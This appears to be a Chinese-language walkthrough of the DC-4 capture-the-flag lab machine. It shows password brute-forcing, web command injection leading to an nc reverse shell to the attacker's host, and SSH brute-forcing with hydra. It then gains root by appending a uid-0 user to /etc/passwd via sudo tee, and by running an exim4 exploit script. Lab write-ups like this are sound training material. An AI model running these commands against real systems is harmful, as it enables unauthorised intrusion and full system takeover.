目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:Linux dc-4 4.9.0-3-686
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录遍历)、burp suite(密码爆破) 、python(开启临时web服务)、nc(反弹shell连接)、searchspoilt(寻找poc)、hydra(爆破ssh登录密码)、ssh(远程登录)
测试网址:http://192.168.202.157
二、测试目的
通过渗透,RCE漏洞获取靶机shell,使用teehee命令sudo权限的漏洞进行提权或exim4应用漏洞进行提权获取root权限。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
探测到靶机IP:192.168.202.157
端口和服务探测
nmap -A -sS -p- -T4 192.168.202.157
探测到22端口(ssh)和80端口(web)
目录扫描
gobuster dir -u http://192.168.202.157/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
只探测到index.php
对子目录扫描无结果,一个都没扫到,猜测需要登录
gobuster dir -u http://192.168.202.157/images -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
2、Getshell
根据index页面信息,尝试用户名admin进行密码爆破
爆破出happy为密码
admin/happy
登录后,只有command链接可点
点击后,尝试运行,发现执行了ls -l的命令
直接找f12,将选中的按钮value值,更改为想要执行的命令,点击即可运行,没有进行过滤
尝试getshell,修改执行命令
nc -e /bin/bash 192.168.202.134 666
Kali端监听到了shell
尝试寻找信息
查找suid权限文件时,看到jim用户下的test.sh文件
find / -perm -4000 -ls 2>/dev/null
运行程序,没发现有用的信息,没执行什么命令
/home/jim/test.sh
直觉感觉,jim用户家目录下也许有提示,不会只有一个遗留程序
查看果然有许多文件
在backups目录下,发现历史密码文件old-passwords.bak
尝试爆破jim用户的ssh登录
将密文保存为pass.txt
使用hydra爆破密码
hydra -l jim -P pass.txt 192.168.202.157 ssh
爆破出jim用户 jim/jibril04
Ssh登录jim
登录提示,有收到邮件
查找邮件
家目录的mbox只收到测试邮件
/var/mail/目录是Linux邮件系统的默认存放位置,也有的邮件会存在家目录
在/var/mail/目录下 jim用户的邮件
Charles用户给jim发了邮件 并附上了密码 ^xHhA&hvim0y
尝试ssh登录charles用户,成功登录
3、提权
两种提权方法:
①tee命令提权
寻找有用的文件,发现该用户有可sudo执行的文件
查看teehee命令的手册,发现这是tee命令的作用
尝试利用tee提权
命令作用是将标准输入的数据同时输出到标准输出(通常是终端)和一个或多个文件中。
利用方法:可以越权给文件写入内容,无法直接执行
可以给特殊文件写入内容,获取shell
如:/etc/passwd、/etc/crontab、/etc/update-motd.d/文件等
在/etc/passwd文件中追加一条uid为0的用户(root)
echo "ccc9wy::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
切换到这个用户,成功获取root权限,获取了flag
②利用exim4的版本漏洞提权
exim4 是一种邮件传输代理(MTA),用于在 Linux 和 Unix 系统中发送和接收电子邮件。
查找suid权限文件时,还有一个exim4
find / -perm -4000 -ls 2>/dev/null
查看exim4的版本
exim4 --version
查找漏洞
searchsploit exim Privilege Escalation
使用46996.sh
可以使用scp工具,基于ssh协议,用kali给靶机传文件,直接写到指定目录下
scp 46996.sh charles@192.168.202.157:/home/charles
给exp执行权限,执行即可
chmod +x 46996.sh
./46996.sh
成功获取flag
四、结论
这个靶机的web界面很粗糙,漏洞也很大,一个很明显的命令执行漏洞可以getshell。
靶机使用的应用也可能提权,比如exim就有版本漏洞可以获取root权限。
tee命令sudo执行可以越权写入文件,可以用来提权。
scp工具可以直接给靶机传文件,这样就不用但心靶机没有一些工具,使用不习惯而烦恼了。前提是有ssh登录秘钥或者密码。